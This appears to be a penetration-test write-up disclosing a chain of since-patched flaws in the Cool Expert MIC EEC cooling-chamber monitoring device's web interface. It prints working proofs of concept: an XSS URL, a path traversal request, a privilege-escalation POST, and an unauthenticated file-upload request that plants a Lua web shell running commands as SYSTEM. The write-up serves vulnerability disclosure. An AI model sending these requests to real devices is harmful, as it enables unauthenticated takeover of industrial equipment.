RCE in Cool Expert MIC EEC

This is a short story about a critical vulnerability in an embedded device that was discovered during an external pentest. It all began with a basic XSS vulnerability reported by Nessus. The website in question turned out to be the web interface of a Cool Expert MIC ECC device. According to the vendors homepage it is a monitoring and remote maintenance solution for cooling chambers.

Unauthenticated Cross-site Scripting

Upon opening the website it was immediately clear that the vulnerability was not a false positive. The reflected XSS was caused by missing sanitization of the site parameter in /index.lp. Furthermore, no Content Security Policy was present and the xwsID session cookie did not have the HttpOnly flag set. This means that old-school session hijacking through a malicious link would have been possible.

Proof of concept to pop an alert box:

http://REDACTED/index.lp?site=<script>alert(1)</script>

Often, such a vulnerability is only the tip of the iceberg, so it was apparent that the website warranted a closer look. Because Google did not turn up any default credentials, some generic username and password combinations were tested. Surprisingly, the credentials test:test were actually valid.

Unauthenticated Path Traversal

Now, Burp Suite was fired up to inspect the requests sent by the web interface. One of the pages provided a download link to a PDF manual. The link pointed to the /download.lp endpoint and specified an absolute path in the file parameter. Not only were no path restrictions implemented, but the endpoint also did not require authentication.

Proof of concept to read C:\windows\system32\drivers\etc\hosts:

http://REDACTED/download.lp?file=C%3a/windows/system32/drivers/etc/hosts

Privilege Escalation from User to Administrator

After looking around further, the profile page revealed that the test user only had low privileges. The page also displayed an option to edit the profile. The corresponding POST request to /load.lp contained two interesting parameters called level and devMode. After playing around with their integer values and making a few requests, test was administrator.

Proof of concept to change the role to admin by setting level=20 and devMode=1:

{title="test"}
POST /load.lp?url=modules%2Fuser%2FgetEditUser&cmd=save&userGuid=6&noCache=1659354728951 HTTP/1.1
Host: REDACTED
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 299
Cookie: xwsID=7XOOubWnPqwc7d;

login=test&level=20&enableLogin=1&globalVisible=1&desc=Test&name=&company=&dep=&address=&email=&phone1AreaCode=%2B49&phone1=&phone2AreaCode=%2B49&phone2=&faxAreaCode=%2B49&fax=&web=&conf_language=sysdef&injectDefaultLocale=1&devMode=1&showDev=1&conf_tempScale=0&reqAlarmRemark=1&reqAlarmValidation=1

Unrestricted File Upload

With the freshly gained admin privileges a new possibility opened up. The page where the PDF manual could be downloaded now also showed a file upload button.

At this point the programming language of the backend was still unknown, so the path traversal was used to download index.lp. This revealed that Lua was the language of choice.

The /request.lp endpoint did not check the file extension and there was even a parameter to specify the destination directory. The next step was to adapt the Lua example from GTFOBins to execute whoami /all. This showed that the webserver was running as NT Authority\SYSTEM.

Authentication Bypass

After skimming the source code, the following snippet was spotted at the top of static/requests/upload.lp:

if _G.argsIn.source=="doc" and not auth.validatePriv('m.docs.upload') then
  _G.ret = false
  _G.msg = "invalid priv"
  return
end

This meant that the authentication on the file upload endpoint could easily be bypassed by setting the source parameter to anything else than doc. The result is unauthenticated remote code execution, which can be achieved with the following HTTP request:

POST /request.lp?url=static%2Frequests%2Fupload&cmd=&source=aaa HTTP/1.1
Host: REDACTED
Content-Type: multipart/form-data; boundary=---------------------------36243873633188206127146769673
Content-Length: 818

-----------------------------36243873633188206127146769673
Content-Disposition: form-data; name="path"

C:/Windows/ce/eec/htdocs
-----------------------------36243873633188206127146769673
Content-Disposition: form-data; name="file_0"; filename="sva-dd6c9eb3.lp"
Content-Type: application/octet-stream

<%
local handle = io.popen("whoami /all")
local result = handle:read("*a")
handle:close()
cgilua.put("<pre>" .. result .. "</pre>")
%>
-----------------------------36243873633188206127146769673
Content-Disposition: form-data; name="file_1"; filename=""
Content-Type: application/octet-stream


-----------------------------36243873633188206127146769673
Content-Disposition: form-data; name="file_2"; filename=""
Content-Type: application/octet-stream


-----------------------------36243873633188206127146769673--

Disclosure

The tested device was running firmware version 1.2.2, which was already outdated at the time the test was conducted. Cool Expert fixed the vulnerabilities in version 1.2.7 and pushed them out to their customers trough automatic updates.